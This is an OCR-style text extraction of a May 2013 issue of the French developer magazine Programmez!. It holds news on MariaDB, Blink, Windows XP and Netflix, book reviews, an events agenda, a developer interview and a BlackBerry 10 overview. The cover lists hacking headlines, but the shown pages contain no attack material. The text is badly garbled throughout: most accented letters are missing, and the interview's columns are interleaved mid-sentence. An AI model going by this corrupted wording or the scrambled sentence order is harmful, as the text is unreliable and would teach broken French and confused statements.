Explorer les Livres électroniques
Catégories
Explorer les Livres audio
Catégories
Explorer les Magazines
Catégories
Explorer les Documents
Catégories
MAGAZINE
DU
DVELOPPEMENT
100 % dveloppeur
www.programmez.com
Enqute exclusive
vrais
istock/amphotora
Les
salaires
HACKING
Attaques brutes avec Metasploit,
Le top 10 des failles
Forcer une connexion https
BlackBerry 10 :
LES BOTES
faut-il sy mettre ?
OUTILS
Le systme,
DU DVELOPPEUR
les nouveaux SDK,
MODERNE
les outils de dveloppement
Reportages
Webmaster
iOS
Outils
3 :HIKONB=^UZ^Z]:?a@l@q@d@a" ;
02/83/84-162
19/04/13
23:43
Page 2
03
19/04/13
23:52
Page 3
A buzzword
La montre intelligente :
laiguille qui cache tout
Depuis quelques semaines, la rumeur devient folle : Apple prparerait une montre
connecte. Il nen fallait pas plus pour que tout le monde en parle et que les concurrents
annoncent eux aussi un projet concurrent ! Samsung travaille sur la sienne, Google
aurait galement une soudaine envie daiguilles et Microsoft serait lui aussi sur le sujet.
ous sommes dans lide du tout
connect. Dans le cas de la montre,
il sagit plutt dune extension du
smartphone ou dun terminal mobile, reste
savoir dans quelle mesure une montre peut
tre indpendante au sens objet connect et
les services quelle pourrait offrir aux utilisateurs. Car il y a une contrainte physique
toute bte : la taille de lobjet, la surface rellement utilisable. La SmartWatch de Sony
est-elle un exemple suivre ? Disons que
cela ressemble un iPod Shuffle et un
Android sur un micro-cran. Lautonomie
sera aussi une forte contrainte. Les lunettes
Google offriront une journe dautonomie (ou
moins selon les fonctions), ce qui est finalement peu.
Lusage est bien entendu au cur de ces
objets qui se multiplient : thermostat tactile,
miroir interactif, domotique nouvelle gnration (voyez la multiplication des ampoules
personnalisables et programmables), etc.
Ensuite, linteraction Homme Objet est cruciale. Transpos tel quel, un systme mobile
ou embarqu sur une montre na aucun intrt. Il faut ladapter aux contraintes et aux
usages que lon veut y mettre. La rflexion
est la mme quand on dveloppe pour
smartphone et tablette. Lusage, lergonomie ne sont pas identiques. Par exemple, on
ne va pas utiliser un traitement de texte sur
une montre
LEXTRME DE LEXTRME
AVEC JOL DE ROSNAY ?
Durant la journe applications dOracle,
nous avons pu assister la futurologie et
la vision de Jol de Rosnay, prospectiviste et
biologiste rput. Pour ce chercheur, Internet est dj mort, le Cloud Computing aussi.
Nous sommes dans un cosystme totalement numrique, dans ce quil appelle la life
streaming. Les Hommes sont dj augments, connects, multi-technologies. Ils
PROgrammez !
<3>
MAI
2013
22/04/13
10:11
Page 4
sommaire
BUZZWORD
La montre intelligente : laiguille qui cache tout
....3
13
ACTUS
Devoxx France 2013 ....................................................6
MariaDB, MySQL, SkySQL : Monty fait le point ..10
RESSOURCES
Les livres du mois ......................................................16
Evnements, agenda ..................................................18
DEVELOPPEUR DU MOIS
Audrey Neveu :
VEILLE TECHNO
BlackBerry 10 :
Opration dernire chance pour BlackBerry ? ..........22
OUTILS
Les outils du dveloppeur moderne ..............................26
Les outils du dveloppeur web en Java
......................29
DOSSIER
prochain
numro
Etudes
Quelle formation ?
Quel diplme ?
Quelle cole ?
Cloud computing
Quel PaaS Java choisir ?
22/04/13
10:11
Page 5
e_ satisfaction.php
F. Tonic
Simple
comme 42 ?
AGILIT
Le ScrumMaster en pratique ........................................30
CARRIRE
Les vrais salaires
des dveloppeurs.......51
JE DEBUTE AVEC...
Dmystifier le dveloppement
des plug-ins d'Eclipse (suite et fin)
..............................55
Comprendre le fonctionnement
de la machine virtuelle Java (2e partie) ......................59
Mise en place d'une usine
de compilation pour iOS ..................................................63
Je mets en place des Nightly Build
............................66
22
dito
42 se veut loppos des coles dinformatique actuelles, de lEducation Nationale et de lUniversit qui ne rpondraient que peu ou mal
aux dfis actuels. Pour les crateurs de 42, la France ne sait pas
former linformatique ou alors il faut payer cher sa formation. Et
lambition est grande ds le dpart : une promotion de 1 000 tudiants et une ouverture ds lautomne 2013 Paris ! Linscription se
fait entirement en ligne. Une premire prslection sera faite, puis
un cours dt sera propos, et ce sera de lintensif. Au final : 1 000
heureux tudiants retenus(**)
Les autres coles nont pas tard rpondre. Bienvenue mais
tout de suite suivi de remarques : une slection qui soulve des interrogations : quid de la formation relle et surtout, la question du diplme. Oui, 42 sanctionne la fin du cycle par un diplme. Non, celui-ci
ne sera pas reconnu par lEtat. Cette question nen est pas une pour
les promoteurs de la nouvelle cole : leur crdo : ne pas former un
diplme mais un mtier.
Sur le fond, ce nest pas faux. On ne doit pas former pour un diplme
mais pour son futur mtier mais en France, il y a une culture de la
diplomacratie .
Les entreprises, mais mme les administrations, se focalisent beaucoup sur le diplme qui est un lment de slection, car il faut bien
disposer de critres pour choisir entre tous les candidats. Rejeter
tout diplme na pas de sens, mais miser uniquement dessus, encore moins. Il faut juger le candidat sur ses comptences relles, sa
motivation, ses qualits humaines et techniques.
CAS DUSAGE
Applications mobiles pour SharePoint 2013..............70
PRATIQUE
Matriser les blocs sous Drupal 6 et Drupal 7..........73
Est-ce dans une quipe monoculture que lon peut faire merger des
ides, des solutions, un peu de non-conformisme ? La vision de
chaque personne sera sans doute trop formate , on codera de la
mme manire, utilisant les mmes outils et pratiques, etc. En ralit, il faut dcloisonner, crer des quipes multi culturelles.
WEBMASTER
BUGTRACK
Fixer l'erreur 0x8007007b
d'activation de Windows 8 ............................................82
Editeur : Go-02 sarl, 21 rue de Fcamp 75012 Paris diff@programmez.com. - Rdaction : redaction@programmez.com - Directeur de la Rdaction : Jean Kaminsky.
Rdacteur en Chef : Franois Tonic - ftonic@programmez.com. Ont collabor ce numro : F. Mazu, S. Saurel.
Experts : Y. Beschi, C. Villeneuve, G. Balaine, L. Vol Monnot,
A. Villenave, T. El Aouadi, L. Cacheux, K. Alnijres, P. Laporte,
V. Saluzzo, V. Fabing, B. Lane, F. Ravetier, A. Alnijres,
M. Loriedo, T. Leriche-Dessirier, C. Pel.
06-09
19/04/13
23:54
Page 6
i actu
celle de Martin Odersky (crateur des Generics et du compilateur javac de Java, mais
aussi de Scala) et aussi plus surprenantes
mais extrmement intressantes linstar
de Lhistoire des critures de Clarisse
Herrenschmidt.
PROgrammez !
<6>
MAI
2013
Universit
Collections de printemps
Jos Paumard
Avec la routine sinstallent des automatismes qui mnent des erreurs quant
lutilisation de Data Structures qui ne sont
absolument pas adaptes nos besoins.
Dans une premire partie Jos Paumard, le
professeur que lon aurait tous aim avoir, a
prsent lhistoire de lAPI collections, ainsi
que les bonnes pratiques dutilisation de diffrentes structures de donnes. Dans la
seconde partie, il sest intress aux nou-
06-09
19/04/13
23:54
Page 7
06-09
19/04/13
23:54
Page 8
i actu
veauts de lAPI qui feront leur apparition en
Java 8. Ctait loccasion de revenir nouveau sur les Streams qui font dbat dans la
communaut. Et sans surprise, ce dbat
nest pas prs darriver son terme.
Confrence
Confrence
Confrence
Invokedynamic in 45
Minutes Charles Nutter
Confrence
PROgrammez !
Dans la seule confrence technique lie la JVM, Charles Nutter, le crateur de JRuby et
probablement le premier utilisateur de cette nouvelle instruction,
a expliqu en quoi invokedynamic
avait chang sa vie dimplmenteur de langage sexcutant sur
une JVM, en montrant son utilisation. Bien sr, sil lon nest ni
crateur de langage ou de certains types de
frameworks, ni contributeur sur la JVM,
nous aurons peu doccasions dutiliser une
telle instruction. Nanmoins, savoir quelle
existe et comment lutiliser est indispensable
si lon souhaite comprendre la JVM.
<8>
MAI
2013
# Yohan Beschi
Expert Soat,
Dart vanglisateur
@yohanbeschi
(http://blog.soat.fr)
06-09
19/04/13
23:54
Page 9
i actu
g
point sur le
gUn
classement des
langages selon
TIOBE
Lindex TIOBE davril 2013 contient
quelques mouvements : C redevient
le 1er langage, devanant dune
trs courte tte Java. C++ se maintenant 3e, tout juste devant Objective-C qui reste 4e aprs avoir t
3e. Si iOS continue tre populaire,
la trs faible croissance dObjectiveC montre sans doute la maturit de
la plateforme, en attendant les prochaines volutions. Rappelons que
TIOBE ne mesure pas lutilisation
relle des langages mais la popularit dans les recherches internet.
composants
gDes
open source
pour Java
Open Wide annonce la disponibilit
de la version 5.4 dImprove Foundations, distribution de composants
open source orients Java.
10-15
22/04/13
15:38
Page 10
i actu
> Compatibilit
Au niveau de compatibilit entre MariaDB et
MySQL, celle-ci sera assure 100 % avec
Mariadb 5.6. Il a t ncessaire de rcrire
une partie du code et de loptimiser. Toutefois, Monty explique que le plus long est de
taper Mariadb au lieu de Mysql , et
que les dveloppeurs ne doivent pas se
poser ce genre de question ou se dire
comment faire ? . C'est pourquoi cette
migration est value 50 secondes (en
moyenne). Cependant, si vous utilisez des
fonctions qui nexistent que dans le fork, la
rtrocompatibilit de MariaDB vers MySQL
sera partielle ou non assure. Mais tout est
> Performance
La performance est un des gros avantages
de MariaDB. Monty rappelle que ces amliorations sont natives alors que sur MySQL
elles sont en option. Ainsi, MariaDB peut
gnrer plus de trafic et supporter plus de
donnes complexes, sans avoir besoin de
modifier le code ou de compiler ou recompiler les projets (notamment en activant les
fonctions optionnelles).
> L'architecture
> Les multiples versions
Depuis le dbut du projet, Monty rclame la
libration (totale) de MySQL, et sa position n'a
PROgrammez !
< 10 >
MAI
2013
10-15
22/04/13
15:39
Page 11
10-15
22/04/13
15:39
Page 12
i actu
repris par les forks comme XtraDB (maintenu par Percona). Actuellement, Oracle se
concentre sur le moteur InnoDB bien que
depuis MySQL 5.6, le NoSQL est prsent.
Cependant, aujourdhui, il est difficile pour un
SGBD de privilgier un unique moteur. Outre
le besoin dinteroprabilit avec les autres
SGBD, cest le besoin de support dune trs
grande varit de formats de donnes qui
impose lutilisation de diffrents moteurs
dans le mme SGBD.
est en mesure de prendre en charge directement le moteur de stockage TokuDB : utilisation de l'indexation des arbres fractals,
amlioration de la vitesse d'insertion et
d'excution des requtes. Un nouveau storage engine rvolutionnaire appel
connect va tre ajout dans la version
stable de MariaDB 10.0. Il s'agit d'un
moteur dynamique GPL, bas sur le principe
Extract-Transform-Load (voir l'encadr).
PROgrammez !
< 12 >
MAI
2013
> Conclusion
Incontestablement, un engouement existe
autour de MariaDB, notamment depuis la
cration de la fondation. Les prochains mois
seront intressants suivre, particulirement avec les migrations annonces de
MySQL vers MariaDB
# Christophe Villeneuve
Consultant pour Neuros, auteur du livre PHP &
MySQL-MySQLi-PDO, Construisez votre application ,
aux ditions ENI. Rdacteur pour WebRIVER, membre
des Teams DrupalFR, AFUP, LeMug.fr, Drupagora,
PHPTV.
10-15
22/04/13
15:39
Page 13
i actu
gGoogle quitte WebKit
et forke WebCore
quipe Chromium a fork le projet WebKit pour crer son propre projet : Blink.
En ralit ce qui a intress lquipe Google
nest pas lensemble de WebKit mais certaines sections telles que WebCore, le
moteur de rendu HTML de WebKit. Ce fork
tait devenu une ncessit pour allger le
support de WebKit (de nombreux codes ne
sont pas utiliss dans Chromium / Chromium) et rajouter des fonctions et optimisations plus rapidement. Et lquipe Google
devait aussi adapter WebKit au fonctionnement multi-process de Chromium qui est diffrent de limplmentation standard. Mais il
sagit aussi pour Chromium de mieux intgrer le moteur V8, car le navigateur Google
nutilise pas le moteur JavaScript de WebKit.
Les gros changements se font sur : WebCore, la suppression des arbres de codes non
utiles, la migration du code vers les API plateformes (sandbox) quand cela est possible,
lamlioration du support multicoeur, le net-
PROgrammez !
XP
gWindows
disparatra le
< 13 >
MAI
2013
8 avril 2014 !
Microsoft la annonc
officiellement. Le
support tendu de XP
prendra fin ! Systme
stable et prouv, il a
rsist Windows Vista
qui est un demi-chec ou
un demi-succs.
Windows 7 fut souvent
surnomm Vista 2.0.
Plus surprenant, plus
dun tiers du parc
install fonctionne
encore sous XP. Ce
chiffre doit gner
Microsoft qui cherche
vendre Windows 8 et
surtout tendre le
nombre dutilisateurs.
Car 6 mois aprs sa
disponibilit auprs du
public, Windows 8
progresse lentement et
le systme change de
nombreuses habitudes.
La future version
Windows Blue ira
sans doute encore plus
loin
10-15
22/04/13
15:39
Page 14
i actu
ne laisse pas tomber les solutions
gSAP
et outils Sybase
Depuis le rachat de Sybase par SAP, lditeur se faisait discret. Le
16 avril dernier, durant le SAP Technology Forum de Paris, nous
avons pu constater que Sybase ntait pas mort, bien au contraire Sybase tait un diteur peu bavard sur le futur des produits.
SAP a voulu plus de transparence et plusieurs roadmaps sont disponibles sur les sites officiels.
Ainsi, PowerDesigner, outil de modlisation historique en France
est toujours dactualit. En dbut danne, la version 16.5 sera disponible trs prochainement avec le support de SAP Hana, de SAP
BO et des services donnes. Le cur de loutil a t partiellement
remis (modeling XML, moteur de rapport revu et corrig, importation XML). Pour fin 2013, la version 17 devrait tre disponible.
Cette version continue amliorer lintgration entre
PowerDesigner et les outils SAP, dont Hana. Et les quipes continuent modifier le cur de la solution. Lobjectif est le support de
SAP realtime data. En 2014 ( ?), la version 17.1 devra unifier le
veut remplacer
gNetflix
Silverlight !
Le fournisseur de contenu vido
mise de plus en plus sur HTML 5 et
l e f a i t s a v o i r. S o n o b j e c t i f e s t
dutiliser HTML 5 pour la vido et
son contenu premium .
Actuellement, Silverlight est utilis
pour la diffusion en streaming du
contenu vers les navigateurs PC et
Mac. Netflix justifie ce futur
changement par le fait que Microsoft
arrtera le support de Silverlight 5 en 2021
et aussi, sans le dire, par labsence de toute
nouveaut. Dautre part, les problmes de
scurit et surtout labsence du plug-in sur
plusieurs plateformes comme Safari mobile
ou IE en mode Metro narrangent en rien
cette technologie. Dores et dj, Netflix
travaille activement sur le sujet,
particulirement autour de trois extensions
du W3C : Media Source Extensions,
Blue
gWindows
deviendrait
Windows 8.1
Microsoft a lambition de sortir une
grosse mise jour / version de
Windows tous les ans, un peu
comme Apple avec iOS et OS X. Blue
est prvu cette anne et pourrait
tre numrote 8.1. Sil faudra
attendre la confrence Build de juin
prochain, plusieurs rumeurs circulent. Ainsi, le bouton dmarrage
pourrait faire son retour comme
lcrivent nos confrres de ZDnet
(dition US). Et peut-tre mme la
possibilit de dmarrer directement
en mode bureau. Encore quelques
semaines dattente !
Glass, quelles
gGoogle
caractristiques
techniques ?
E n c r y p t e d M e d i a E x t e n s i o n s e t We b
Cryptography API. Le premier tend
HTMLMediaElement avec du JavaScript. Le
second fournit une couche de cryptage pour
protger le contenu. Le dernier doit
permettre de chiffrer les oprations dans les
applications web.
Une premire implmentation a t faite avec
Google dans Chrome.
Blog : http://techblog.netflix.com/2013/04/html5video-at-netflix.html
PROgrammez !
< 14 >
MAI
2013
10-15
22/04/13
15:39
Page 15
16-18
20/04/13
00:01
Page 16
i ressources
Notre slection de livres
Collectif,
Lingnierie systme
AFNOR
Vous ne connaissez
rien aux systmes et
leur ingnierie ?
Pas de souci, cet
ouvrage est fait pour
vous ! Il est aussi destin un public plus
large de responsables, de dcideurs,
de manageurs, qui n'ont pas vocation
approfondir les notions d'ingnierie systme
mais qui doivent en comprendre l'essentiel
ainsi que les enjeux, afin de travailler de
faon efficace avec les ingnieurs systme.
De nombreux exemples concrets permettent de mieux comprendre ce sujet, pas forcment trs friendly .
Simon Monk
Arduino
Pearson
Arduino ne vous dit
sans doute pas
grand-chose. Il sagit
dun microcontrleur
dune grande richesse fonctionnelle et
avec lequel on peut
tout faire ou presque. Cet ouvrage couvre
toutes les bases dont les utilisateurs dbutants peuvent avoir besoin pour tirer pleinement profit de leur Arduino. Il permet de
comprendre le matriel et ses principes de
fonctionnement : installation, configuration,
premiers programmes (croquis) difficult
progressive. Il permet aussi de mettre en
place des premiers projets simples, de les
coder soi-mme, et d'apprendre le langage
de programmation de lArduino, le C.
Rudi Bruchez
Les bases
de donnes
NoSQL
Eyrolles
Aujourdhui, nous
sommes dans un
monde o les donnes sont la fois
structures et non-structures si on rsume
cela en base de donnes : on parlera de
SGBDR et de base non relationnelle de type
Geek, la revanche
Laffont
On parle beaucoup du
Geek. Il laisse parfois
sceptiques la famille,
les amis, voire, son
patron. A lorigine
bte de foire, il est
aujourdhui synonyme
dun tat desprit, dune passion pour les
technologies et toute une culture sest dveloppe autour. Qui est-il ? Comment peut-on
le comprendre socialement ? Mais attention
ne pas tomber dans la caricature et tout
mlanger, ce que lauteur fait parfois. Geek
ou Nerd faut-il choisir ?
Collectif
Richard Stallman et la
rvolution du logiciel libre
Eyrolles
Gnie, excessif, virulent, passionn. Beaucoup de choses ont t
dites sur Richard Stallman. Il apparat souvent intransigeant,
surtout quand on commence parler avec lui
du logiciel et de lOpen Source.
Le Libre et ses origines sont longuement
voqus et un des passages les plus savoureux est celui o Torvalds (1996) merge
rellement pour la premire fois.
Et quand ce dernier sattaque directement
Stallman, alors seul grand esprit du Libre de
lpoque, publiquement, il tait le leader
incontest On en revient toujours la phi-
PROgrammez !
< 16 >
MAI
2013
Formation
VBA Office 2013
Dunod
Eh non, VBA nest pas
mort ! Il est toujours
prsent dans la suite
Office 2013. Grce
une progression pdagogique par raf finements s u c c e s s i f s ,
assimilez en douceur
les concepts de base de VBA et apprenez
crire de petits programmes sous Office
2013 puis construire progressivement
des macros de plus en plus volues. Lauteur se veut donc trs progressif en sappuyant sur de nombreux exemples de codes
et de programmes.
collectif
Raspberry Pi
Pearson
Que faire avec son
Raspberry Pi, ce curieux
ordinateur tout nu avec
le strict minimum ?
Raspberry connat un
beau succs auprs de
tous les passionns de technologies, les
geeks. Si au dpart, on ne sait pas trop quoi
en faire, on dcouvre rapidement des
dizaines de projets et dusages !
Les auteurs voquent bien entendu son installation, mais rapidement on passe aux logiciels, la configuration, la possibilit de
media center.
Le dveloppement nest pas oubli ni la cration de circuits lectroniques.
Ce guide pratique est idal pour matriser
cet ordinateur rvolutionnaire, crer ses
projets, sinspirer des ides, et comprendre
en profondeur ltendue des possibilits
offertes par le Raspberry Pi. Un must pour
tout possesseur de Raspberry.
16-18
20/04/13
00:01
Page 17
16-18
20/04/13
00:01
Page 18
i ressources
Communaut
Concours
Groupe dutilisateurs
franais C++ (Paris)
En mai
logie Kinect, il permet aux enfants deffectuer des exercices physiques et respiratoires pour rester en forme, tout en
samusant puisquil sagit de reprendre les
couleurs de notre plante aux vilains
extra-terrestres qui nous les ont drobes Ct jeux, cest lquipe Banzai
Lightning qui a gagn.
Pour la partie innovation, Original Network
a gagn avec un outil de rduction de
consommation nergtique des systmes
dinformation
Agenda
f MAI
Le15 mai 2013, Paris 13e, Maison des
Associations, 10/18 rue des Terres au Cur,
AgoraCMS. Face au succs rencontr lors des
deux dernires ditions de Drupagora (vnement
ddi au CMS Drupal), les organisateurs ont souhait proposer une nouvelle journe de rencontre
sur la thmatique des outils de gestion de contenus (notamment Drupal, Wordpress, ezPublish,
TYPO3, SharePoint). http://www.agoracms.com/
Du 14 au 28 mai, dcouvrez sur une demijourne (gratuite) la programmation, la scurit et loptimisation sous Windows 8 et
Windows Phone 8 :
14 Mai Lyon - Agence Microsoft
16 Mai Lille : Agence Microsoft
21 Mai Strasbourg : Agence Microsoft
23 Mai Toulouse : Agence Microsoft
28 Mai Nantes : Agence Microsoft
Inscription et information : http://goo.gl/lgyt1
gSolutions Linux,
Les 28 et 29 mai, le grand salon Open Source / Linux se tient Paris. Comme chaque
anne, de nombreuses confrences auront
lieu sur diffrents thmes : Cloud ouvert,
dveloppement web, lOpen Source au cur
ments de PC SOFT. Une source dapprentissage,
de dcouverte, de veille technologique, dinnovations
immdiatement applicables pour vos projets.
Une chance unique et gratuite avec une rentabilit
immdiate. site :
http://www.pcsoft.fr/pcsoft/tdftech/2013/index.html
f JUIN
Du 21 au 23 juin 2013, DrupalCamp Paris 2013.
Innovation cette anne : le DrupalCamp se droulera sur 3 jours. Nous retrouverons des sessions
techniques traitant de sujets de fond, de
technologies que l'on peut associer Drupal ou
Tour de France 2013 de PCSoft. Le 14 mai Marseille :
encore des dmonstrations de modules et aussi
Une demi-journe de formation sur les nouveauts de
des sessions orientes utilisateurs, ainsi que des
la version 18 dispense par des ingnieurs expriretours dexpriences et des tudes de cas.
PROgrammez !
< 18 >
MAI
2013
En juin
gEclipseCon
dbarque en France
19
20/04/13
00:02
Page 19
i matriel
ACER PROPOSE DEUX GAMMES DCRANS
PROFESSIONNELS : B6 ET V6
Le B6 en 27 pouces offre une rsolution de 2560x1440 (1440p), 80 % de
pixels supplmentaires par rapport
une rsolution Full HD classique. Le B6,
29 pouces, offre quant lui, un rapport
21:9 optimis pour le multitche et l'affichage dapplications en parallle. Ils
intgrent (certains modles) un DisplayPort, conu pour offrir la meilleure qualit audio et vido, utilis principalement
entre les moniteurs et les ordinateurs,
mais aussi pour permettre une configuration de plusieurs crans. Grce aux
4 ports USB 3, les moniteurs B6 & V6
pourront facilement se brancher diffrents priphriques ; lun des ports permettant aux utilisateurs de recharger
des appareils numriques, mme
lorsque le PC est teint.
Les gammes font partie de la gamme
Acer EcoDisplays et ils sont fabriqus
plus de 10 % avec du plastique recycl.
Une valuation interne montre que ces
moniteurs peuvent rduire la consommation d'nergie de 50 % par rapport
d'autres moniteurs de mme catgorie.
Le V6 est disponible, le B6 partir de
mai.
PROgrammez !
< 19 >
MAI
2013
acteur
gAcer
dynamique du
serveur dentreprise
Le constructeur veut en tout cas
sduire les TPE / PME et les
datacenters avec les nouveaux
modles Altos bass sur des processeurs Xeon, AMD. Le AC100
se veut le serveur dentre de
gamme mais volutif : 24 emplacements DIMM, support natif
RAID, PCIe 3, etc. Bref du costaud ! Pour en savoir plus :
http://www.acer.fr/ac/fr/FR/content/model
/ST.R7LEE.006
20/04/13
00:03
Page 20
i dveloppeur du mois
D.R.
20-21
suis donc vite revenue Java, que jai approfondi grce aux ressources en ligne.
Comment es-tu arrive chez Sfeir ? Pourquoi aimes-tu tant cette socit ?
Mon arrive chez Sfeir est un peu comme le
reste : un coup de chance. Le premier a t
de faire mon stage avec Yann Petit, le leader
du Normandy JUG. Il sest assur que je
sorte de mon stage avec un bagage solide.
Une fois diplme, je me suis aperue que je
ne trouverais pas de
travail sur Rouen ;
on ne voulait pas de
junior. Du coup jai
dcid de revenir
Paris, mais je ne
savais pas par o
commencer, alors
jai pluch la liste
des sponsors du Paris JUG (vridique). Je
visais une entreprise taille humaine, rpute techniquement, qui me challenge et avec
laquelle je me constituerais une exprience
forte. Un soir, Yann ma recommand sur
Jai dcouvert le
mtier de dveloppeur
et a a t le coup
de foudre
PROgrammez !
< 20 >
MAI
2013
20/04/13
00:03
Page 21
i dveloppeur du mois
mateur Java avait dcrt que je naugrammation destins aux enfants.
rais pas mon diplme et ne voyait
Nous nous sommes lancs dans la
donc pas lintrt de venir maider
traduction doutils (Dr Techniko, Kidlorsque jtais bloque. Quand jai possRuby) car, sil en existe beaucoup, la
tul pour mon stage, le directeur
plupart sont en anglais. Notre but
dagence ma propos un poste de
tant de partager notre connaissance
commerciale et ne comprenait pas
sur le sujet, nous proposons notre
mon enttement vouloir tre dveatelier aux communauts. Et puis,
loppeur. Difficile dire si ctait un
comme nous souhaitons toucher le
problme de sexe ou si cest le mtier
plus de monde possible, nous intervede dveloppeur en lui-mme quil ne
nons galement dans les entreprises.
considrait pas comme trs prestigieux
Entre ton travail, tes activits perJai persist et, une fois en poste, je
sonnelles, les confrences, les JUG,
nai jamais regrett mon choix. La plules enfants, comment fais-tu pour
par t des hommes sont contents
grer tout cela ?
davoir une fille dans lquipe. Bien sr
Je suis passionne et jaime ce mtier :
il y en a parfois qui ne voient pas ce
a aide. Pour le reste, je vais cherquune fille vient faire dans linformacher lnergie auprs des autres. Il y a
tique, mais ils sont rares. La seule
dun ct les filles avec qui je travaille
Duchess organise des runions techniques rgulirement
chose qui ma faite douter un
dans le cadre associatif, comme Claumoment, cest que je navais pas de
de Falguire, Agns Crepet (Java
modle fminin. Jadmirais beaucoup
Champion) ou encore Aline. Je les
de dveloppeurs, mais je ne connaisadmire la fois techniquement et
sais pas de dveloppeuses... Et puis
humainement. Elles mont normAntonio Goncalves ma dit de venir au
ment apport et me poussent me
Paris JUG pour rencontrer les filles
dpasser.
qui craient Duchess, un JUG fminin
De lautre il y a les confrences : User
(cf. Programmez N157), en France.
Groups, Devoxx, MixIt, JUG Summer
A partir de l, je nai plus dout une
Camp, ou le Breizh Camp. Toutes sont
seconde de mon choix. Bien mieux, jai
des parenthses indispensables pour
dcouvert un moyen de minvestir pour que coder. Lors de mes pauses, je fais de la moi dans ma vie de dveloppeur. Cest une
dautres tudiantes sachent quelles peuvent veille en parcourant mes tweets et les blogs faon nettement plus agrable de faire de la
faire ce mtier et sy panouir.
auxquels je suis abonne, javance sur Pro- veille que de lire des livres ou des articles
gramatoo et mes projets communautaires. dans son coin. Cest loccasion de renconQuels types de projets ralises-tu ? A quoi Et le soir, je remets a.
trer et dchanger avec des gens aussi pasressemblent tes journes de travail ?
sionns que moi. Enfin, cest un moment o
Je travaille surtout en rgie sur des projets Cest quoi dailleurs, ce Programatoo dont je me dconnecte de mes projets, ce qui me
Java. Je fabrique des applications Web en on entend de plus en plus parler ?
permet dy revenir remotive, des ides plein
GWT (Google Web Toolkit) et je code avec
la tte.
Eclipse sous Ubuntu. Jadore Linux. Jaime
son ct simple, sans fioriture. Quand jai
Un conseil pour les tudiants qui nous
besoin dun outil, je linstalle et cest tout. En
lisent ?
revanche, le support matriel sur portable Programatoo cest une initiative de ma col- Je dbutais depuis six mois quand mon chef
est un rel problme : jai rgulirement des lgue Aline Paponaud. Elle veut faire revenir m'a dit tu verras, pour le moment c'est
soucis aprs des mj, cest pourquoi le Mac linformatique (surtout la programmation) dur, tu en baves, mais il y aura bientt un
mattire de plus en plus.
lcole et ma demand de laccompagner. dclic et tu dcouvriras que tu peux tout
En ce qui concerne Eclipse, je dirais que jai Comme moi, Aline a dcouvert linformatique faire. Ce sera magique. Et c'est vrai ; au
appris men servir correctement au lieu de trs tt et souhaite partager cette passion. dbut je me sentais nulle, je craignais de ne
passer mon temps en souffrir. Je ne sais Nous avons dabord organis des ateliers pas progresser assez vite, puis c'est devenu
pas sil est meilleur que Netbeans ou IntelliJ. chez Sfeir, pour les enfants du personnel. Un plus facile. Mme quand je ne savais pas
En revanche, je suis persuade que lon peut atelier dure trois heures en moyenne. Les faire, il n'y avait pas d'obstacle, j'tais
tre tout aussi improductif avec lun ou enfants codent, font des dmos, recodent et capable d'apprendre.
lautre si lon ne connat pas bien son outil de surtout samusent. Bonbons et gteaux sont
travail.
obligatoires car on ne badine pas avec le
Mes journes de travail commencent toutes goter...
# Thierry
par le Stand Up matinal. Ensuite, je dpile En parallle nous promouvons les outils et
Leriche-Dessirier
mes mails et je passe le reste de la journe les autres initiatives de dcouverte de la pro@thierryleriche
JDuchess.
20-21
La plupart des
hommes sont contents
davoir une fille dans
lquipe
PROgrammez !
< 21 >
MAI
2013
22-25
22/04/13
15:30
Page 22
i veille techno
BlackBerry 10 :
Opration dernire chance ?
Prcurseur dans le monde de la tlphonie, RIM fut le premier constructeur proposer
aux utilisateurs le push mail et un service de messagerie instantane sur tlphones
portables. Adoub par le monde de
lentreprise grce la scurit de sa
plateforme, BlackBerry bnficie
galement dune excellente image
auprs des jeunes.
as, lapparition de liPhone et des smartphones Android aura
t un coup dur pour RIM qui depuis ne cesse de voir ses parts
de march et ses ventes chuter. La faute probablement un
non renouvellement de sa gamme dappareils. Alors que nous
sommes en 2013, RIM lance tout juste un nouvel opus de son systme appuy par de nouveaux terminaux dont le succs sannonce
dj vital pour un groupe en proie dimportantes difficults financires. Prise en main dun systme marqu du sceau de la dernire
chance.
Marque phare de la socit Canadienne Research In Motion (RIM),
BlackBerry a t commercialis pour la premire fois en 1999 et
sest rapidement install comme lun des acteurs incontournables du
monde de la tlphonie. Ayant sduit le monde de lentreprise, il tait
considr comme lun des tlphones les plus scuriss. Mieux
encore, son clavier atypique est devenu lemblme dune marque
bnficiant dune belle image auprs des jeunes. Prcurseur dans de
nombreux domaines, BlackBerry possdait une part de march en
fin danne 2008 de prs de 20% sur les mobiles, se plaant
comme solide second derrire linamovible Symbian de Nokia.
Larrive sur le march en 2007 de liPhone allait marquer le dbut
dune longue et inluctable descente aux enfers pour la marque.
Vritable produit de rupture, liPhone lana la vague des mobiles
tout tactile avec des fonctionnalits toujours plus puissantes. En
PROgrammez !
< 22 >
MAI
2013
22-25
22/04/13
15:30
Page 23
i veille techno
ensuite puisque les nouveaux BlackBerry seront pour la plupart
dpourvus de clavier physique. RIM semble enfin avoir dcid de passer au tout tactile au risque de dcevoir certains de ses aficionados.
Dun point de vue logiciel, la rupture est galement consomme avec
une version 10 de son OS qui ne rutilise aucune ligne de code de
ses prdcesseurs. Ainsi, il sappuie sur QNX qui est un systme
dexploitation temps rel, compatible UNIX, et spcialement conu
pour les systmes embarqus.
Consquence directe de ce choix, BlackBerry OS 10 nest pas compatible avec les prcdents appareils de la marque. Voil une dcision radicale mais srement ncessaire pour proposer un nouveau
systme se diffrenciant de Google et dApple. Si ce choix ne manquera pas de faire des vagues, il a le mrite de montrer que la cible
premire du constructeur se situe du ct de lentreprise o son
image reste intacte. Ainsi, la marque na pas hsit faire parvenir
des grandes entreprises de nombreux BlackBerry de dveloppement embarquant leur nouvel OS, afin de permettre leurs quipes
dtudier les possibilits du systme. Enfin, si les ventes de BlackBerry sont au plus bas, le constructeur conserve toujours une solide
base utilisateurs de 80 millions de personnes sur laquelle il compte
sappuyer dans sa stratgie de reconqute.
ARCHITECTURE
Assurer le succs dun OS pour smartphones ne peut se faire sans
le soutien massif des dveloppeurs du monde entier qui raliseront
ou non les applications ncessaires son succs. Pour sduire le
plus grand nombre, BlackBerry 10 supporte une large gamme de
technologies pour raliser des applications. La nouvelle mouture de
lOS tant base sur QNX, le SDK natif sappuie dsormais sur le langage C/C++ comme nous le verrons par la suite. Nanmoins, le
Java reste support, que ce soit via un SDK ddi ou bien via le runtime Android embarqu au sein de BlackBerry 10. Ce dernier confrant lOS lavantage non ngligeable de pouvoir excuter des
applications Android une fois celles-ci repackages via un outil ddi.
Cest dailleurs ainsi que le store applicatif BlackBerry App World
